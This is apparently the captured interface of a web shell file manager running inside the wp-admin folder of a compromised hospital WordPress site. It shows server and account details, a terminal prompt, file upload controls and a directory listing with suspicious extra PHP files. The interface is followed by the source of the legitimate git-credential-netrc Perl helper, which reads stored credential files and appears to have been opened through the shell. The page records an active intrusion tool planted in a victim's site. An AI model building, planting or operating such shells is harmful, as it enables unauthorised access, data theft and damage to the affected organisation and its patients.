✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.inwp-admin

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 css--drwxr-xr-x
📁 images--drwxr-xr-x
📁 includes--drwxr-xr-x
📁 js--drwxr-xr-x
📁 maint--drwxr-xr-x
📁 network--drwxr-xr-x
📁 user--drwxr-xr-x
🐘 about.php17.572 KB-rw-r--r--
🐘 admin-ajax.php5.025 KB-rw-r--r--
🐘 admin-footer.php2.738 KB-rw-r--r--
🐘 admin-functions.php0.461 KB-rw-r--r--
🐘 admin-header.php9.066 KB-rw-r--r--
🐘 admin-post.php1.974 KB-rw-r--r--
🐘 admin.php12.632 KB-rw-r--r--
🐘 async-upload.php5.473 KB-rw-r--r--
🐘 authorize-application.php10.093 KB-rw-r--r--
🐘 comment.php11.37 KB-rw-r--r--
🐘 contribute.php5.523 KB-rw-r--r--
🐘 credits.php4.044 KB-rw-r--r--
🐘 custom-background.php0.471 KB-rw-r--r--
🐘 custom-header.php0.48 KB-rw-r--r--
🐘 customize.php11.314 KB-rw-r--r--
🐘 edit-comments.php14.145 KB-rw-r--r--
🐘 edit-form-advanced.php28.79 KB-rw-r--r--
🐘 edit-form-blocks.php15.164 KB-rw-r--r--
🐘 edit-form-comment.php13.652 KB-rw-r--r--
🐘 edit-link-form.php6.198 KB-rw-r--r--
🐘 edit-tag-form.php10.408 KB-rw-r--r--
🐘 edit-tags.php21.982 KB-rw-r--r--
🐘 edit.php19.484 KB-rw-r--r--
🐘 erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
🐘 export-personal-data.php7.754 KB-rw-r--r--
🐘 export.php11.001 KB-rw-r--r--
🐘 font-library.php1.445 KB-rw-r--r--
🐘 freedoms.php4.467 KB-rw-r--r--
🐘 import.php7.584 KB-rw-r--r--
🐘 index.php7.68 KB-rw-r--r--
🐘 install-helper.php6.798 KB-rw-r--r--
🐘 install.php17.944 KB-rw-r--r--
🐘 link-add.php0.912 KB-rw-r--r--
🐘 link-manager.php4.259 KB-rw-r--r--
🐘 link-parse-opml.php2.657 KB-rw-r--r--
🐘 link.php2.888 KB-rw-r--r--
🐘 load-scripts.php2.021 KB-rw-r--r--
🐘 load-styles.php2.925 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🐘 media-new.php3.173 KB-rw-r--r--
🐘 media-upload.php3.582 KB-rw-r--r--
🐘 media.php0.8 KB-rw-r--r--
🐘 menu-header.php9.816 KB-rw-r--r--
🐘 menu.php17.709 KB-rw-r--r--
🐘 moderation.php0.3 KB-rw-r--r--
🐘 ms-admin.php0.191 KB-rw-r--r--
🐘 ms-delete-site.php4.505 KB-rw-r--r--
🐘 ms-edit.php0.211 KB-rw-r--r--
🐘 ms-options.php0.224 KB-rw-r--r--
🐘 ms-sites.php0.21 KB-rw-r--r--
🐘 ms-themes.php0.212 KB-rw-r--r--
🐘 ms-upgrade-network.php0.214 KB-rw-r--r--
🐘 ms-users.php0.21 KB-rw-r--r--
🐘 my-sites.php4.718 KB-rw-r--r--
🐘 nav-menus.php49.022 KB-rw-r--r--
🐘 network.php5.394 KB-rw-r--r--
🐘 options-connectors.php1.507 KB-rw-r--r--
🐘 options-discussion.php16.019 KB-rw-r--r--
🐘 options-general.php22.319 KB-rw-r--r--
🐘 options-head.php0.6 KB-rw-r--r--
🐘 options-media.php6.484 KB-rw-r--r--
🐘 options-permalink.php21.964 KB-rw-r--r--
🐘 options-privacy.php10.453 KB-rw-r--r--
🐘 options-reading.php9.959 KB-rw-r--r--
🐘 options-writing.php9.184 KB-rw-r--r--
🐘 options.php13.932 KB-rw-r--r--
🐘 plugin-editor.php13.741 KB-rw-r--r--
🐘 plugin-install.php7.259 KB-rw-r--r--
🐘 plugins.php30.023 KB-rw-r--r--
🐘 post-new.php2.703 KB-rw-r--r--
🐘 post.php10.567 KB-rw-r--r--
🐘 press-this.php2.412 KB-rw-r--r--
🐘 privacy-policy-guide.php3.668 KB-rw-r--r--
🐘 privacy.php2.453 KB-rw-r--r--
🐘 profile.php0.276 KB-rw-r--r--
🐘 revision.php5.699 KB-rw-r--r--
🐘 setup-config.php17.508 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 site-editor.php12.19 KB-rw-r--r--
🐘 site-health-info.php4.075 KB-rw-r--r--
🐘 site-health.php10.183 KB-rw-r--r--
🐘 term.php2.196 KB-rw-r--r--
🐘 theme-editor.php16.874 KB-rw-r--r--
🐘 theme-install.php23.745 KB-rw-r--r--
🐘 themes.php48.563 KB-rw-r--r--
🐘 tools.php3.432 KB-rw-r--r--
🐘 update-core.php45.119 KB-rw-r--r--
🐘 update.php12.756 KB-rw-r--r--
🐘 upgrade-functions.php0.333 KB-rw-r--r--
🐘 upgrade.php6.24 KB-rw-r--r--
🐘 upload.php14.934 KB-rw-r--r--
🐘 user-edit.php40.863 KB-rw-r--r--
🐘 user-new.php24.086 KB-rw-r--r--
🐘 users.php25.096 KB-rw-r--r--
🐘 widgets-form-blocks.php5.112 KB-rw-r--r--
🐘 widgets-form.php19.129 KB-rw-r--r--
🐘 widgets.php1.086 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#!/usr/bin/perl use lib (split(/:/, $ENV{GITPERLLIB} || '/usr/share/perl5/vendor_perl')); use strict; use warnings; use Getopt::Long; use File::Basename; use Git; my $VERSION = "0.2"; my %options = ( help => 0, debug => 0, verbose => 0, insecure => 0, file => [], # identical token maps, e.g. host -> host, will be inserted later tmap => { port => 'protocol', machine => 'host', path => 'path', login => 'username', user => 'username', password => 'password', } ); # Map each credential protocol token to itself on the netrc side. foreach (values %{$options{tmap}}) { $options{tmap}->{$_} = $_; } # Now, $options{tmap} has a mapping from the netrc format to the Git credential # helper protocol. # Next, we build the reverse token map. # When $rmap{foo} contains 'bar', that means that what the Git credential helper # protocol calls 'bar' is found as 'foo' in the netrc/authinfo file. Keys in # %rmap are what we expect to read from the netrc/authinfo file. my %rmap; foreach my $k (keys %{$options{tmap}}) { push @{$rmap{$options{tmap}->{$k}}}, $k; } Getopt::Long::Configure("bundling"); # TODO: maybe allow the token map $options{tmap} to be configurable. GetOptions(\%options, "help|h", "debug|d", "insecure|k", "verbose|v", "file|f=s@", 'gpg|g:s', ); if ($options{help}) { my $shortname = basename($0); $shortname =~ s/git-credential-//; print <)...] [-g ] [-d] [-v] [-k] get Version $VERSION by tzz\@lifelogs.com. License: BSD. Options: -f|--file : specify netrc-style files. Files with the .gpg extension will be decrypted by GPG before parsing. Multiple -f arguments are OK. They are processed in order, and the first matching entry found is returned via the credential helper protocol (see below). When no -f option is given, .authinfo.gpg, .netrc.gpg, .authinfo, and .netrc files in your home directory are used in this order. -g|--gpg : specify the program for GPG. By default, this is the value of gpg.program in the git repository or global option or gpg. -k|--insecure : ignore bad file ownership or permissions -d|--debug : turn on debugging (developer info) -v|--verbose : be more verbose (show files and information found) To enable this credential helper: git config credential.helper '$shortname -f AUTHFILE1 -f AUTHFILE2' (Note that Git will prepend "git-credential-" to the helper name and look for it in the path.) ...and if you want lots of debugging info: git config credential.helper '$shortname -f AUTHFILE -d' ...or to see the files opened and data found: git config credential.helper '$shortname -f AUTHFILE -v' Only "get" mode is supported by this credential helper. It opens every and looks for the first entry that matches the requested search criteria: 'port|protocol': The protocol that will be used (e.g., https). (protocol=X) 'machine|host': The remote hostname for a network credential. (host=X) 'path': The path with which the credential will be used. (path=X) 'login|user|username': The credential’s username, if we already have one. (username=X) Thus, when we get this query on STDIN: host=github.com protocol=https username=tzz this credential helper will look for the first entry in every that matches machine github.com port https login tzz OR machine github.com protocol https login tzz OR... etc. acceptable tokens as listed above. Any unknown tokens are simply ignored. Then, the helper will print out whatever tokens it got from the entry, including "password" tokens, mapping back to Git's helper protocol; e.g. "port" is mapped back to "protocol". Any redundant entry tokens (part of the original query) are skipped. Again, note that only the first matching entry from all the s, processed in the sequence given on the command line, is used. Netrc/authinfo tokens can be quoted as 'STRING' or "STRING". No caching is performed by this credential helper. EOHIPPUS exit 0; } my $mode = shift @ARGV; # Credentials must get a parameter, so die if it's missing. die "Syntax: $0 [(-f )...] [-d] get" unless defined $mode; # Only support 'get' mode; with any other unsupported ones we just exit. exit 0 unless $mode eq 'get'; my $files = $options{file}; # if no files were given, use a predefined list. # note that .gpg files come first unless (scalar @$files) { my @candidates = qw[ ~/.authinfo.gpg ~/.netrc.gpg ~/.authinfo ~/.netrc ]; $files = $options{file} = [ map { glob $_ } @candidates ]; } load_config(\%options); my $query = read_credential_data_from_stdin(); FILE: foreach my $file (@$files) { my $gpgmode = $file =~ m/\.gpg$/; unless (-r $file) { log_verbose("Unable to read $file; skipping it"); next FILE; } # the following check is copied from Net::Netrc, for non-GPG files # OS/2 and Win32 do not handle stat in a way compatible with this check :-( unless ($gpgmode || $options{insecure} || $^O eq 'os2' || $^O eq 'MSWin32' || $^O eq 'MacOS' || $^O =~ /^cygwin/) { my @stat = stat($file); if (@stat) { if ($stat[2] & 077) { log_verbose("Insecure $file (mode=%04o); skipping it", $stat[2] & 07777); next FILE; } if ($stat[4] != $<) { log_verbose("Not owner of $file; skipping it"); next FILE; } } } my @entries = load_netrc($file, $gpgmode); unless (scalar @entries) { if ($!) { log_verbose("Unable to open $file: $!"); } else { log_verbose("No netrc entries found in $file"); } next FILE; } my $entry = find_netrc_entry($query, @entries); if ($entry) { print_credential_data($entry, $query); # we're done! last FILE; } } exit 0; sub load_netrc { my $file = shift @_; my $gpgmode = shift @_; my $io; if ($gpgmode) { my @cmd = ($options{'gpg'}, qw(--decrypt), $file); log_verbose("Using GPG to open $file: [@cmd]"); open $io, "-|", @cmd; } else { log_verbose("Opening $file..."); open $io, '<', $file; } # nothing to do if the open failed (we log the error later) return unless $io; # Net::Netrc does this, but the functionality is merged with the file # detection logic, so we have to extract just the part we need my @netrc_entries = net_netrc_loader($io); # these entries will use the credential helper protocol token names my @entries; foreach my $nentry (@netrc_entries) { my %entry; my $num_port; if (!defined $nentry->{machine}) { next; } if (defined $nentry->{port} && $nentry->{port} =~ m/^\d+$/) { $num_port = $nentry->{port}; delete $nentry->{port}; } # create the new entry for the credential helper protocol $entry{$options{tmap}->{$_}} = $nentry->{$_} foreach keys %$nentry; # for "host X port Y" where Y is an integer (captured by # $num_port above), set the host to "X:Y" if (defined $entry{host} && defined $num_port) { $entry{host} = join(':', $entry{host}, $num_port); } push @entries, \%entry; } return @entries; } sub net_netrc_loader { my $fh = shift @_; my @entries; my ($mach, $macdef, $tok, @tok); LINE: while (<$fh>) { undef $macdef if /\A\n\Z/; if ($macdef) { next LINE; } s/^\s*//; chomp; while (length && s/^("((?:[^"]+|\\.)*)"|((?:[^\\\s]+|\\.)*))\s*//) { (my $tok = $+) =~ s/\\(.)/$1/g; push(@tok, $tok); } TOKEN: while (@tok) { if ($tok[0] eq "default") { shift(@tok); $mach = { machine => undef }; next TOKEN; } $tok = shift(@tok); if ($tok eq "machine") { my $host = shift @tok; $mach = { machine => $host }; push @entries, $mach; } elsif (exists $options{tmap}->{$tok}) { unless ($mach) { log_debug("Skipping token $tok because no machine was given"); next TOKEN; } my $value = shift @tok; unless (defined $value) { log_debug("Token $tok had no value, skipping it."); next TOKEN; } # Following line added by rmerrell to remove '/' escape char in .netrc $value =~ s/\/\\/\\/g; $mach->{$tok} = $value; } elsif ($tok eq "macdef") { # we ignore macros next TOKEN unless $mach; my $value = shift @tok; $macdef = 1; } } } return @entries; } sub read_credential_data_from_stdin { # the query: start with every token with no value my %q = map { $_ => undef } values(%{$options{tmap}}); while () { next unless m/^([^=]+)=(.+)/; my ($token, $value) = ($1, $2); # skip any unknown tokens next unless exists $q{$token}; $q{$token} = $value; log_debug("We were given search token $token and value $value"); } foreach (sort keys %q) { log_debug("Searching for %s = %s", $_, $q{$_} || '(any value)'); } return \%q; } # takes the search tokens and then a list of entries # each entry is a hash reference sub find_netrc_entry { my $query = shift @_; ENTRY: foreach my $entry (@_) { my $entry_text = join ', ', map { "$_=$entry->{$_}" } keys %$entry; foreach my $check (sort keys %$query) { if (!defined $entry->{$check}) { log_debug("OK: entry has no $check token, so any value satisfies check $check"); } elsif (defined $query->{$check}) { log_debug("compare %s [%s] to [%s] (entry: %s)", $check, $entry->{$check}, $query->{$check}, $entry_text); unless ($query->{$check} eq $entry->{$check}) { next ENTRY; } } else { log_debug("OK: any value satisfies check $check"); } } return $entry; } # nothing was found return; } sub print_credential_data { my $entry = shift @_; my $query = shift @_; log_debug("entry has passed all the search checks"); TOKEN: foreach my $git_token (sort keys %$entry) { log_debug("looking for useful token $git_token"); # don't print unknown (to the credential helper protocol) tokens next TOKEN unless exists $query->{$git_token}; # don't print things asked in the query (the entry matches them) next TOKEN if defined $query->{$git_token}; log_debug("FOUND: $git_token=$entry->{$git_token}"); printf "%s=%s\n", $git_token, $entry->{$git_token}; } } sub load_config { # load settings from git config my $options = shift; # set from command argument, gpg.program option, or default to gpg $options->{'gpg'} //= Git::config('gpg.program') // 'gpg'; log_verbose("using $options{'gpg'} for GPG operations"); } sub log_verbose { return unless $options{verbose}; printf STDERR @_; printf STDERR "\n"; } sub log_debug { return unless $options{debug}; printf STDERR @_; printf STDERR "\n"; }